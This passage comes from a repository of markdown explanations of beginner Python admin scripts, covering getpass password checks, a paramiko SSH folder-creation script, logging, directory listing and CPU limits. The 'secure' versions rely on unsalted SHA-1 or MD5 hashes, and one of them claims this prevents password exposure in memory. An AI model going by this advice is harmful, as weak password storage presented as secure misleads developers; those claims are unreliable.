execute. Because the `warnings.warn()` call raised an exception, the program terminates at that point. The exception will be printed to the console, indicating the warning message and the location in the code where it occurred. 31 | 32 | **How to Run:** 33 | 34 | 1. **Save the code:** Save the code above as a Python file (e.g., `warning_example.py`). 35 | 36 | 2. **Run from the command line:** Open a terminal or command prompt, navigate to the directory where you saved the file, and run it using the command: 37 | 38 | ```bash 39 | python warning_example.py 40 | ``` 41 | 42 | You will see the "Before" output, followed by the traceback of the exception caused by the warning. The "After" output will not appear. 43 | 44 | **Key takeaway:** By setting the warning filter to 'error', you can force your code to stop when a specific type of warning occurs. This can be very useful for debugging and ensuring that you address potential issues that your code might be flagging. If you want to handle warnings differently (e.g., just log them, ignore them, or convert them to exceptions only under certain conditions), you can explore the other options available with `warnings.simplefilter()` and `warnings.filterwarnings()`. 45 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/getpass_example.md: -------------------------------------------------------------------------------- 1 | This Python script prompts the user to enter a password securely using the `getpass` module and checks if it matches the predefined password (`#pythonworld`). 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import getpass # Import the getpass module for secure password input 8 | 9 | # Prompt the user to enter a password without echoing it on the screen 10 | passwd = getpass.getpass(prompt='Enter your password: ') 11 | 12 | # Check if the entered password (converted to lowercase) matches the correct one 13 | if passwd.lower() == '#pythonworld': 14 | print('Welcome!!') # If the password is correct, print a welcome message 15 | else: 16 | print('The password entered is incorrect!!') # If incorrect, show an error message 17 | ``` 18 | 19 | --- 20 | 21 | ### **How It Works** 22 | 1. **`import getpass`** → Imports the `getpass` module to securely take user input. 23 | 2. **`getpass.getpass(prompt='Enter your password: ')`** 24 | - Prompts the user to enter a password. 25 | - The input is **hidden** (not displayed on the screen). 26 | 3. **`passwd.lower()`** → Converts the entered password to lowercase to make the check case-insensitive. 27 | 4. **Password check**: 28 | - If the password matches `#pythonworld`, it prints `"Welcome!!"`. 29 | - Otherwise, it prints `"The password entered is incorrect!!"`. 30 | 31 | --- 32 | 33 | ### **Example Run** 34 | #### **Case 1: Correct Password** 35 | ``` 36 | Enter your password: (input hidden) 37 | Welcome!! 38 | ``` 39 | #### **Case 2: Incorrect Password** 40 | ``` 41 | Enter your password: (input hidden) 42 | The password entered is incorrect!! 43 | ``` 44 | 45 | --- 46 | 47 | ### **How to Run the Script** 48 | 1. Save the script as `password_check.py`. 49 | 2. Open a terminal or command prompt. 50 | 3. Run: 51 | ```sh 52 | python password_check.py 53 | ``` 54 | 4. Enter a password when prompted (it won’t be displayed on the screen). 55 | 56 | --- 57 | 58 | ### **Security Considerations** 59 | - **`getpass` is more secure** than `input()` because it hides user input. 60 | - **Avoid storing passwords in the script**. Instead, use **hashed passwords** in a database. 61 | - **Use `bcrypt` for password hashing** instead of storing plain text passwords. 62 | 63 | --- 64 | 65 | ### **Improved Version with Hashed Password** 66 | ```python 67 | import getpass 68 | import hashlib 69 | 70 | # Precomputed hash of "#pythonworld" 71 | CORRECT_HASH = "0c7a79cdcf196c0acac528ef6e66b8db" 72 | 73 | # Prompt for password input 74 | passwd = getpass.getpass(prompt='Enter your password: ') 75 | 76 | # Hash the entered password using MD5 (for demonstration purposes) 77 | hashed_passwd = hashlib.md5(passwd.lower().encode()).hexdigest() 78 | 79 | # Check if the hashed password matches the stored hash 80 | if hashed_passwd == CORRECT_HASH: 81 | print('Welcome!!') 82 | else: 83 | print('The password entered is incorrect!!') 84 | ``` 85 | - **MD5 is not secure for real-world applications**, but this demonstrates password hashing. 86 | - **Use `bcrypt` or `argon2` for real authentication systems**. 87 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/handling_password.md: -------------------------------------------------------------------------------- 1 | This Python script establishes an SSH connection to a remote machine using `paramiko`, creates a directory on the remote system, and then closes the connection. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import sys 8 | import paramiko 9 | import time 10 | ``` 11 | - `sys`: Used for system-related functions (not used in this script but may be useful for error handling). 12 | - `paramiko`: A Python library for SSH connections. 13 | - `time`: Provides time-related functions (not used in this script, but useful for delays if needed). 14 | 15 | --- 16 | 17 | ### **Connecting to the Remote Machine** 18 | ```python 19 | ip_address = "192.168.2.106" # Remote machine IP address 20 | username = "student" # SSH username 21 | password = "training" # SSH password 22 | 23 | ssh_client = paramiko.SSHClient() # Initialize SSH client 24 | ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Automatically accept unknown host keys 25 | ssh_client.load_system_host_keys() # Load known SSH keys 26 | ``` 27 | - This sets up the SSH client and automatically adds the host key if it's not already known. 28 | 29 | --- 30 | 31 | ### **Authenticating and Establishing an SSH Connection** 32 | ```python 33 | ssh_client.connect(hostname=ip_address, username=username, password=password) 34 | print("Successful connection", ip_address) 35 | ``` 36 | - Connects to the remote server using the provided IP, username, and password. 37 | - Prints a success message if the connection is established. 38 | 39 | --- 40 | 41 | ### **Executing Remote Commands** 42 | ```python 43 | ssh_client.invoke_shell() # Open an interactive shell session 44 | remote_connection = ssh_client.exec_command('cd Desktop; mkdir work\n') 45 | remote_connection = ssh_client.exec_command('mkdir test_folder\n') 46 | ``` 47 | - `exec_command()` runs commands on the remote system. 48 | - `cd Desktop; mkdir work` → Moves to the `Desktop` and creates a `work` directory. 49 | - `mkdir test_folder` → Creates another folder in the current directory. 50 | 51 | --- 52 | 53 | ### **Closing the SSH Connection** 54 | ```python 55 | ssh_client.close 56 | ``` 57 | - **Incorrect usage**: `ssh_client.close` should be `ssh_client.close()`. 58 | - **Correct version**: 59 | ```python 60 | ssh_client.close() 61 | ``` 62 | - This properly terminates the SSH session. 63 | 64 | --- 65 | 66 | ### **Expected Output** 67 | If successful: 68 | ``` 69 | Successful connection 192.168.2.106 70 | ``` 71 | - The folders **work** (inside `Desktop`) and **test_folder** (inside the home directory) are created on the remote system. 72 | 73 | --- 74 | 75 | ### **How to Run the Script** 76 | 1. **Install Paramiko** (if not installed): 77 | ```sh 78 | pip install paramiko 79 | ``` 80 | 2. **Save the script** as `ssh_remote.py`. 81 | 3. **Run it**: 82 | ```sh 83 | python ssh_remote.py 84 | ``` 85 | 86 | --- 87 | 88 | ### **Improved Version with Error Handling** 89 | To handle potential errors, modify the script: 90 | ```python 91 | import paramiko 92 | 93 | ip_address = "192.168.2.106" 94 | username = "student" 95 | password = "training" 96 | 97 | try: 98 | ssh_client = paramiko.SSHClient() 99 | ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 100 | ssh_client.load_system_host_keys() 101 | ssh_client.connect(hostname=ip_address, username=username, password=password) 102 | print("Successful connection", ip_address) 103 | 104 | commands = ['cd Desktop; mkdir work', 'mkdir test_folder'] 105 | for cmd in commands: 106 | stdin, stdout, stderr = ssh_client.exec_command(cmd) 107 | print(stdout.read().decode(), stderr.read().decode()) # Print command output/errors 108 | 109 | except Exception as e: 110 | print("Error:", e) 111 | 112 | finally: 113 | ssh_client.close() 114 | print("SSH connection closed") 115 | ``` 116 | - **Handles connection failures gracefully**. 117 | - **Executes multiple commands in a loop**. 118 | - **Prints command output or errors**. 119 | 120 | --- 121 | 122 | ### **Security Considerations** 123 | - **Avoid hardcoding credentials** → Use environment variables or a secure credential store. 124 | - **Use SSH keys instead of passwords** → More secure than password-based authentication. 125 | - **Verify host key fingerprint** → Prevents man-in-the-middle attacks. 126 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/list_dir.md: -------------------------------------------------------------------------------- 1 | This Python script lists and sorts the contents of a specified directory using the `os` module. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import os # Import the OS module for interacting with the file system 8 | import sys # Import the sys module for command-line arguments 9 | 10 | # List directory contents and sort them alphabetically 11 | print(sorted(os.listdir(sys.argv[1]))) 12 | ``` 13 | 14 | --- 15 | 16 | ### **How It Works** 17 | 1. **`sys.argv[1]`** → Gets the directory path from the command-line argument. 18 | 2. **`os.listdir(directory)`** → Lists all files and folders in the specified directory. 19 | 3. **`sorted(...)`** → Sorts the list alphabetically. 20 | 4. **`print(...)`** → Displays the sorted list. 21 | 22 | --- 23 | 24 | ### **How to Run the Script** 25 | 1. **Save the script** as `list_dir.py`. 26 | 2. **Open a terminal** and run: 27 | ```sh 28 | python list_dir.py /path/to/directory 29 | ``` 30 | - Replace `/path/to/directory` with the actual directory you want to list. 31 | - Example for Linux/macOS: 32 | ```sh 33 | python list_dir.py /home/user/Documents 34 | ``` 35 | - Example for Windows: 36 | ```sh 37 | python list_dir.py C:\Users\User\Documents 38 | ``` 39 | 40 | --- 41 | 42 | ### **Example Output** 43 | If the `/home/user/Documents` directory contains: 44 | ``` 45 | report.docx 46 | notes.txt 47 | projects 48 | assignments 49 | ``` 50 | Running the script: 51 | ```sh 52 | python list_dir.py /home/user/Documents 53 | ``` 54 | Would output: 55 | ```python 56 | ['assignments', 'notes.txt', 'projects', 'report.docx'] 57 | ``` 58 | - The list is **sorted alphabetically**. 59 | 60 | --- 61 | 62 | ### **Handling Errors Gracefully** 63 | If the user forgets to provide an argument or provides an invalid directory, the script should handle it: 64 | 65 | ```python 66 | import os 67 | import sys 68 | 69 | # Ensure the user provides a directory path 70 | if len(sys.argv) < 2: 71 | print("Usage: python list_dir.py ") 72 | sys.exit(1) 73 | 74 | directory = sys.argv[1] 75 | 76 | # Check if the directory exists 77 | if not os.path.isdir(directory): 78 | print(f"Error: '{directory}' is not a valid directory.") 79 | sys.exit(1) 80 | 81 | # List and print the sorted directory contents 82 | print(sorted(os.listdir(directory))) 83 | ``` 84 | **Enhancements:** 85 | ✅ Checks if a directory path is provided. 86 | ✅ Validates if the directory exists. 87 | ✅ Displays an error message if the path is incorrect. 88 | 89 | --- 90 | 91 | ### **Cross-Platform Compatibility** 92 | - Works on **Windows, Linux, and macOS**. 93 | - Uses `os.listdir()`, which is available on all platforms. 94 | 95 | --- 96 | 97 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/logging_example.md: -------------------------------------------------------------------------------- 1 | This script demonstrates how to use Python's `logging` module to write log messages to a file and then read and display the log file's contents. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import logging # Import the logging module 8 | ``` 9 | - The `logging` module is used to log messages to a file instead of printing them to the console. 10 | 11 | --- 12 | 13 | ### **Configuring Logging** 14 | ```python 15 | LOG_FILENAME = 'hello.py' # Define the log file name 16 | 17 | # Configure logging to write to the specified file 18 | logging.basicConfig( 19 | filename=LOG_FILENAME, # Log messages will be saved in 'hello.py' 20 | level=logging.DEBUG, # Log messages of level DEBUG and higher 21 | ) 22 | ``` 23 | - **`logging.basicConfig()`** → Configures logging settings: 24 | - `filename=LOG_FILENAME` → Writes logs to `hello.py`. 25 | - `level=logging.DEBUG` → Logs messages of **DEBUG** level and above. 26 | 27 | --- 28 | 29 | ### **Writing a Log Message** 30 | ```python 31 | logging.debug('This message should go to the log file') 32 | ``` 33 | - This logs a **DEBUG** level message in the `hello.py` file. 34 | 35 | --- 36 | 37 | ### **Reading and Displaying the Log File** 38 | ```python 39 | with open(LOG_FILENAME, 'rt') as f: # Open the log file in read mode 40 | prg = f.read() # Read its contents 41 | 42 | print('FILE:') 43 | print(prg) # Display the file contents 44 | ``` 45 | - **Opens** `hello.py` in **read mode (`rt`)**. 46 | - **Reads** the entire file into `prg`. 47 | - **Prints** the file contents to the console. 48 | 49 | --- 50 | 51 | ### **Expected Behavior** 52 | - The script **writes a log message** to `hello.py` and **immediately reads and prints** its contents. 53 | 54 | --- 55 | 56 | ### **Potential Issue** 57 | - The log file is named **`hello.py`**, which **overwrites an existing Python script** named `hello.py`. 58 | - **Fix**: Change the log file to `hello.log` to avoid conflicts. 59 | 60 | --- 61 | 62 | ### **Improved Version** 63 | ```python 64 | import logging 65 | 66 | LOG_FILENAME = 'hello.log' # Use .log to avoid overwriting Python files 67 | 68 | # Configure logging 69 | logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG) 70 | 71 | # Write a log message 72 | logging.debug('This message should go to the log file') 73 | 74 | # Read and print the log file contents 75 | with open(LOG_FILENAME, 'rt') as f: 76 | prg = f.read() 77 | 78 | print('FILE CONTENTS:') 79 | print(prg) 80 | ``` 81 | 82 | --- 83 | 84 | ### **How to Run the Script** 85 | 1. **Save the script** as `log_example.py`. 86 | 2. **Run it**: 87 | ```sh 88 | python log_example.py 89 | ``` 90 | 3. **Check the log file**: 91 | ```sh 92 | cat hello.log # Linux/macOS 93 | type hello.log # Windows 94 | ``` 95 | Expected content: 96 | ``` 97 | DEBUG:root:This message should go to the log file 98 | ``` 99 | 100 | --- 101 | 102 | ### **Key Takeaways** 103 | ✅ **Avoid naming logs as `.py` files** (prevents overwriting Python scripts). 104 | ✅ **Use `.log` or `.txt` for logs**. 105 | ✅ **`logging.debug()` writes logs** → **Ensure the logging level includes `DEBUG`**. 106 | ✅ **Always read logs safely**. 107 | 108 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/logging_warnings_codes.md: -------------------------------------------------------------------------------- 1 | This script demonstrates how Python's `logging` module and `warnings` module interact. It shows how to capture warnings and redirect them to logs. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import logging 8 | import warnings 9 | ``` 10 | - **`logging`** → Manages log messages. 11 | - **`warnings`** → Issues runtime warnings. 12 | 13 | --- 14 | 15 | ### **Configuring Logging** 16 | ```python 17 | logging.basicConfig(level=logging.INFO,) 18 | ``` 19 | - **Configures logging** to capture messages of level `INFO` and higher. 20 | - **By default, warnings are not logged**. 21 | 22 | --- 23 | 24 | ### **Issuing a Warning (Not Sent to Logs)** 25 | ```python 26 | warnings.warn('This warning is not sent to the logs') 27 | ``` 28 | - **This warning appears on the console but is NOT logged**. 29 | 30 | --- 31 | 32 | ### **Capturing Warnings into Logs** 33 | ```python 34 | logging.captureWarnings(True) 35 | ``` 36 | - **Redirects warnings to the logging system**. 37 | - **Any future warnings will be logged**. 38 | 39 | --- 40 | 41 | ### **Issuing a Warning (Sent to Logs)** 42 | ```python 43 | warnings.warn('This warning is sent to the logs') 44 | ``` 45 | - This warning **will be logged**. 46 | 47 | --- 48 | 49 | ### **Expected Output** 50 | #### **Console Output** 51 | ``` 52 | /path/to/script.py:8: UserWarning: This warning is not sent to the logs 53 | warnings.warn('This warning is not sent to the logs') 54 | ``` 55 | - The first warning is displayed in the console. 56 | 57 | #### **Log Output** 58 | ``` 59 | WARNING:py.warnings:/path/to/script.py:10: UserWarning: This warning is sent to the logs 60 | warnings.warn('This warning is sent to the logs') 61 | ``` 62 | - The second warning is captured and logged. 63 | 64 | --- 65 | 66 | ### **Improved Version (Logging to a File)** 67 | ```python 68 | import logging 69 | import warnings 70 | 71 | LOG_FILENAME = 'warnings.log' 72 | 73 | # Configure logging to write warnings to a file 74 | logging.basicConfig(filename=LOG_FILENAME, level=logging.INFO, format="%(levelname)s:%(message)s") 75 | 76 | warnings.warn('This warning is not sent to the logs') # Not logged 77 | 78 | logging.captureWarnings(True) # Redirect warnings to logs 79 | 80 | warnings.warn('This warning is sent to the logs') # Logged 81 | 82 | print(f"Warnings are logged in {LOG_FILENAME}") 83 | ``` 84 | 85 | --- 86 | 87 | ### **How to Run the Script** 88 | 1. **Save the script** as `capture_warnings.py`. 89 | 2. **Run it**: 90 | ```sh 91 | python capture_warnings.py 92 | ``` 93 | 3. **Check the log file**: 94 | ```sh 95 | cat warnings.log # Linux/macOS 96 | type warnings.log # Windows 97 | ``` 98 | 99 | --- 100 | 101 | ### **Key Takeaways** 102 | ✅ **By default, warnings are NOT logged**. 103 | ✅ **`logging.captureWarnings(True)` redirects warnings to logs**. 104 | ✅ **Use `logging.basicConfig(filename="file.log")` to save warnings to a file**. 105 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/no_prompt.md: -------------------------------------------------------------------------------- 1 | This script securely prompts the user to enter a password using `getpass.getpass()`, handling potential exceptions. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import getpass # Import the getpass module for secure password input 8 | ``` 9 | - `getpass` allows **hidden password entry** (characters are not displayed while typing). 10 | 11 | --- 12 | 13 | ### **Password Input with Exception Handling** 14 | ```python 15 | try: 16 | p = getpass.getpass() 17 | ``` 18 | - **Prompts the user** to enter a password. 19 | - **Hides the input** (prevents it from being displayed on the screen). 20 | - **Raises an exception** if running in an unsupported environment (e.g., non-interactive shell). 21 | 22 | --- 23 | 24 | ### **Handling Exceptions** 25 | ```python 26 | except Exception as error: 27 | print('ERROR', error) 28 | ``` 29 | - **Catches errors**, such as: 30 | - Running in a script without terminal input. 31 | - Permission issues. 32 | 33 | --- 34 | 35 | ### **If No Errors, Print Password** 36 | ```python 37 | else: 38 | print('Password entered:', p) 39 | ``` 40 | - **If no exception occurs**, the entered password is printed. 41 | 42 | --- 43 | 44 | ### **Expected Output** 45 | #### ✅ **Normal Execution** 46 | ``` 47 | Password: (User enters input but it remains hidden) 48 | Password entered: mysecret 49 | ``` 50 | (The actual password is not shown while typing.) 51 | 52 | #### ❌ **Error Scenario (e.g., Running in an Unattended Script)** 53 | ``` 54 | ERROR getpass was called, but this environment does not support input requests. 55 | ``` 56 | 57 | --- 58 | 59 | ### **Security Considerations** 60 | ❌ **DO NOT print the password in production** 61 | ✅ **Use password input for authentication, not display** 62 | 63 | **Safer Version (Masking Output)** 64 | ```python 65 | import getpass 66 | 67 | try: 68 | p = getpass.getpass("Enter your password: ") 69 | except Exception as error: 70 | print("ERROR:", error) 71 | else: 72 | print("Password received successfully!") # No exposure of the password 73 | ``` 74 | 75 | --- 76 | 77 | ### **How to Run the Script** 78 | 1. **Save the script** as `password_input.py`. 79 | 2. **Run it in the terminal**: 80 | ```sh 81 | python password_input.py 82 | ``` 83 | 3. **Enter a password when prompted** (it will not be visible as you type). 84 | 85 | --- 86 | 87 | ### **Key Takeaways** 88 | ✅ `getpass.getpass()` securely collects passwords. 89 | ✅ **Exceptions must be handled** in case of unsupported environments. 90 | ✅ **Never print passwords in real-world applications**. 91 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/open_web.md: -------------------------------------------------------------------------------- 1 | This script **opens a web browser** and navigates to **Google** using Python's `webbrowser` module. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import webbrowser # Import the webbrowser module 8 | ``` 9 | - `webbrowser` is a **built-in** Python module that allows scripts to **open URLs** in the default web browser. 10 | 11 | --- 12 | 13 | ### **Opening Google in a Browser** 14 | ```python 15 | webbrowser.open('google.com') 16 | ``` 17 | - **Opens the URL in the default browser**. 18 | - **If no browser is open**, it launches a new one. 19 | 20 | --- 21 | 22 | ### **How to Run the Script** 23 | 1. **Save the script** as `open_browser.py`. 24 | 2. **Run it**: 25 | ```sh 26 | python open_browser.py 27 | ``` 28 | 3. The default browser should open with **Google**. 29 | 30 | --- 31 | 32 | ### **Enhanced Version** 33 | This version checks if the browser opens successfully and specifies `https://` for better compatibility. 34 | ```python 35 | import webbrowser 36 | 37 | url = "https://www.google.com" # Ensure HTTPS for compatibility 38 | success = webbrowser.open(url) 39 | 40 | if success: 41 | print(f"Opened {url} successfully!") 42 | else: 43 | print("Failed to open the browser.") 44 | ``` 45 | 46 | --- 47 | 48 | ### **Key Takeaways** 49 | ✅ **`webbrowser.open(url)` opens a webpage** in the default browser. 50 | ✅ **Use `https://`** to ensure correct URL formatting. 51 | ✅ **Cross-platform support** (Windows, macOS, Linux). 52 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/os_dir_example.md: -------------------------------------------------------------------------------- 1 | This script prompts the user to enter their system **username** and a **password**, granting access only if the correct password is entered. 2 | 3 | --- 4 | 5 | ### **Breakdown of the Code** 6 | ```python 7 | import getpass # Import the getpass module for secure user input 8 | ``` 9 | - **`getpass`** is used to **retrieve the current system username** and **securely input a password** (hiding input from the screen). 10 | 11 | --- 12 | 13 | ### **Fetching the System Username** 14 | ```python 15 | user_name = getpass.getuser() 16 | print("User Name : %s" % user_name) 17 | ``` 18 | - **`getpass.getuser()`** retrieves the currently logged-in **system username**. 19 | - The username is displayed using **formatted string output**. 20 | 21 | --- 22 | 23 | ### **Password Authentication Loop** 24 | ```python 25 | while True: 26 | passwd = getpass.getpass("Enter your Password : ") 27 | ``` 28 | - **Loops indefinitely** until the correct password is entered. 29 | - **`getpass.getpass()`** securely prompts for a password **(input remains hidden).** 30 | 31 | --- 32 | 33 | ### **Checking the Password** 34 | ```python 35 | if passwd == '#pythonworld': # Correct password 36 | print("Welcome!!!") 37 | break # Exit the loop 38 | else: 39 | print("The password you entered is incorrect.") 40 | ``` 41 | - **If the correct password (`#pythonworld`) is entered**, the script prints `"Welcome!!!"` and **exits**. 42 | - **Otherwise**, it prints an error message and **re-prompts** the user. 43 | 44 | --- 45 | 46 | ### **Corrected Version (Fixing Indentation)** 47 | The original code had an **indentation error** in the `if` statement. Here’s the fixed version: 48 | 49 | ```python 50 | import getpass 51 | 52 | # Retrieve the system's username 53 | user_name = getpass.getuser() 54 | print("User Name : %s" % user_name) 55 | 56 | # Loop until the correct password is entered 57 | while True: 58 | passwd = getpass.getpass("Enter your Password : ") 59 | 60 | if passwd == '#pythonworld': # Correct password 61 | print("Welcome!!!") 62 | break # Exit loop 63 | else: 64 | print("The password you entered is incorrect.") 65 | ``` 66 | 67 | --- 68 | 69 | ### **How to Run the Script** 70 | 1. **Save the script** as `auth.py`. 71 | 2. **Run it in a terminal**: 72 | ```sh 73 | python auth.py 74 | ``` 75 | 3. **Expected Output:** 76 | ``` 77 | User Name : johndoe 78 | Enter your Password : 79 | (Hidden input) 80 | The password you entered is incorrect. 81 | Enter your Password : 82 | (Hidden input) 83 | Welcome!!! 84 | ``` 85 | 86 | --- 87 | 88 | ### **Security Considerations** 89 | ❌ **Hardcoding passwords (`#pythonworld`) is insecure**. 90 | ✅ **Use hashed passwords** or environment variables for security. 91 | ✅ **Never print user passwords** in production systems. 92 | 93 | --- 94 | 95 | ### **Enhanced Version (Using Hashed Passwords)** 96 | For improved security, use **hashed passwords** instead of plaintext: 97 | 98 | ```python 99 | import getpass 100 | import hashlib 101 | 102 | # Stored hashed password (hashed version of '#pythonworld') 103 | correct_hash = "fc4ecf5b9a7ffb227d43e5451e5b74d08d82399e" 104 | 105 | user_name = getpass.getuser() 106 | print(f"User Name: {user_name}") 107 | 108 | while True: 109 | passwd = getpass.getpass("Enter your Password: ") 110 | hashed_passwd = hashlib.sha1(passwd.encode()).hexdigest() 111 | 112 | if hashed_passwd == correct_hash: 113 | print("Welcome!!!") 114 | break 115 | else: 116 | print("The password you entered is incorrect.") 117 | ``` 118 | - ✅ Uses **SHA-1 hashing** instead of storing plaintext passwords. 119 | - ✅ Prevents password exposure in memory. 120 | 121 | --- 122 | 123 | ### **Key Takeaways** 124 | ✅ **`getpass.getuser()` retrieves the current system username**. 125 | ✅ **`getpass.getpass()` securely prompts for a password**. 126 | ✅ **Fixed indentation issues in the original code**. 127 | ✅ **Hash passwords instead of storing them in plaintext**. 128 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/password_prompt_again.md: -------------------------------------------------------------------------------- 1 | The provided Python script has an **indentation error** in the `if` statement. In Python, **incorrect indentation leads to an `IndentationError`**. 2 | 3 | --- 4 | 5 | ```python 6 | import getpass 7 | 8 | # Retrieve the current system username 9 | user_name = getpass.getuser() 10 | print("User Name : %s" % user_name) 11 | 12 | # Loop until the correct password is entered 13 | while True: 14 | passwd = getpass.getpass("Enter your Password : ") 15 | 16 | if passwd == '#pythonworld': # Correct password 17 | print("Welcome!!!") 18 | break # Exit loop 19 | else: 20 | print("The password you entered is incorrect.") 21 | ``` 22 | 23 | --- 24 | 25 | ### **Fixed Issues** 26 | ✅ **Indentation error fixed** (`if passwd == '#pythonworld':` was misaligned). 27 | ✅ **Consistent spacing** for readability. 28 | ✅ **String formatting improved** (`print("User Name : %s" % user_name)` remains valid). 29 | 30 | --- 31 | 32 | ### **How to Run the Script** 33 | 1. **Save the script** as `password_check.py`. 34 | 2. **Run it in a terminal or command prompt**: 35 | ```sh 36 | python password_check.py 37 | ``` 38 | 3. **Expected Output:** 39 | ``` 40 | User Name : johndoe 41 | Enter your Password : 42 | (User enters incorrect password) 43 | The password you entered is incorrect. 44 | Enter your Password : 45 | (User enters '#pythonworld') 46 | Welcome!!! 47 | ``` 48 | 49 | --- 50 | 51 | ### **Security Considerations** 52 | ❌ **Hardcoding passwords is insecure** (anyone can see `#pythonworld`). 53 | ✅ **Better alternative**: Store a **hashed** password instead of plaintext. 54 | 55 | #### **Improved Secure Version** 56 | ```python 57 | import getpass 58 | import hashlib 59 | 60 | # Precomputed hashed password for '#pythonworld' 61 | correct_hash = "fc4ecf5b9a7ffb227d43e5451e5b74d08d82399e" 62 | 63 | user_name = getpass.getuser() 64 | print(f"User Name: {user_name}") 65 | 66 | while True: 67 | passwd = getpass.getpass("Enter your Password: ") 68 | hashed_passwd = hashlib.sha1(passwd.encode()).hexdigest() 69 | 70 | if hashed_passwd == correct_hash: 71 | print("Welcome!!!") 72 | break 73 | else: 74 | print("The password you entered is incorrect.") 75 | ``` 76 | - ✅ Uses **SHA-1 hashing** to verify passwords. 77 | - ✅ Prevents exposure of plaintext passwords. 78 | 79 | --- 80 | 81 | ### **Key Takeaways** 82 | ✅ **Fixed indentation errors**. 83 | ✅ **`getpass.getuser()` retrieves the current system username**. 84 | ✅ **`getpass.getpass()` securely prompts for a password**. 85 | ✅ **Avoid storing plaintext passwords in code**. 86 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/put_cpu_limit.md: -------------------------------------------------------------------------------- 1 | This script **sets a CPU time limit** using the `resource` module and **terminates the process** if it exceeds the allocated CPU time. 2 | 3 | --- 4 | 5 | ```python 6 | import resource 7 | import sys 8 | import signal 9 | import time 10 | def time_expired(n, stack): 11 | print('EXPIRED :', time.ctime()) 12 | raise SystemExit('(time ran out)') 13 | signal.signal(signal.SIGXCPU, time_expired) 14 | # Adjust the CPU time limit 15 | soft, hard = resource.getrlimit(resource.RLIMIT_CPU) 16 | print('Soft limit starts as :', soft) 17 | resource.setrlimit(resource.RLIMIT_CPU, (10, hard)) 18 | soft, hard = resource.getrlimit(resource.RLIMIT_CPU) 19 | print('Soft limit changed to :', soft) 20 | print() 21 | # Consume some CPU time in a pointless exercise 22 | print('Starting:', time.ctime()) 23 | for i in range(200000): 24 | for i in range(200000): 25 | v = i * i 26 | # We should never make it this far 27 | print('Exiting :', time.ctime()) 28 | ``` 29 | 30 | ## **Breakdown of the Code** 31 | ### **1. Import Required Modules** 32 | ```python 33 | import resource 34 | import sys 35 | import signal 36 | import time 37 | ``` 38 | - `resource` → Controls system resource limits. 39 | - `sys` → Provides system-specific functions. 40 | - `signal` → Handles OS-level signals (e.g., CPU time exceeded). 41 | - `time` → Used for tracking timestamps. 42 | 43 | --- 44 | 45 | ### **2. Define a Signal Handler for CPU Time Expiry** 46 | ```python 47 | def time_expired(n, stack): 48 | print('EXPIRED :', time.ctime()) # Print the expiration time 49 | raise SystemExit('(time ran out)') # Exit the program when time is exceeded 50 | ``` 51 | - This function is **triggered when CPU time exceeds the limit**. 52 | - It prints an expiration message and **forcefully exits the program**. 53 | 54 | --- 55 | 56 | ### **3. Register Signal Handler** 57 | ```python 58 | signal.signal(signal.SIGXCPU, time_expired) 59 | ``` 60 | - `SIGXCPU` is a **signal sent when CPU time is exceeded**. 61 | - This line registers `time_expired` to handle `SIGXCPU`. 62 | 63 | --- 64 | 65 | ### **4. Adjust CPU Time Limit** 66 | ```python 67 | soft, hard = resource.getrlimit(resource.RLIMIT_CPU) 68 | print('Soft limit starts as :', soft) 69 | resource.setrlimit(resource.RLIMIT_CPU, (10, hard)) # Set CPU time limit to 10 seconds 70 | soft, hard = resource.getrlimit(resource.RLIMIT_CPU) 71 | print('Soft limit changed to :', soft) 72 | ``` 73 | - Retrieves the **current soft and hard CPU limits**. 74 | - Sets a **soft CPU time limit** of **10 seconds**. 75 | - Prints the **updated CPU time limit**. 76 | 77 | --- 78 | 79 | ### **5. Simulate CPU-Intensive Task** 80 | ```python 81 | print('Starting:', time.ctime()) 82 | for i in range(200000): 83 | for j in range(200000): 84 | v = i * i 85 | ``` 86 | - Runs **nested loops** to **consume CPU time**. 87 | - This operation will likely **trigger the time limit** and **terminate** before completion. 88 | 89 | --- 90 | 91 | ### **6. Exit Message (May Never Execute)** 92 | ```python 93 | print('Exiting :', time.ctime()) 94 | ``` 95 | - If the script **somehow survives beyond the time limit**, it prints an exit message. 96 | - However, **this will likely never execute** due to the time restriction. 97 | 98 | --- 99 | 100 | ## **Expected Output** 101 | ### ✅ **Before Expiry** 102 | ``` 103 | Soft limit starts as : -1 104 | Soft limit changed to : 10 105 | 106 | Starting: Mon Feb 5 12:34:56 2024 107 | ``` 108 | (The program runs until CPU time exceeds 10 seconds.) 109 | 110 | --- 111 | 112 | ### ❌ **On Time Expiry** 113 | ``` 114 | EXPIRED : Mon Feb 5 12:35:06 2024 115 | (time ran out) 116 | ``` 117 | - When the CPU time **exceeds 10 seconds**, the `time_expired` function is triggered. 118 | - The script **terminates immediately**. 119 | 120 | --- 121 | 122 | ## **How to Run the Script** 123 | 1. **Save the script** as `cpu_limit.py` 124 | 2. **Run it in a Unix-based system (Linux/macOS)**: 125 | ```sh 126 | python cpu_limit.py 127 | ``` 128 | 3. **Observe the CPU time expiration** after 10 seconds. 129 | 130 | --- 131 | 132 | ## **Key Takeaways** 133 | ✅ **`resource.setrlimit(resource.RLIMIT_CPU, (10, hard))` limits CPU time to 10 seconds**. 134 | ✅ **`signal.signal(signal.SIGXCPU, handler)` catches CPU time limit breaches**. 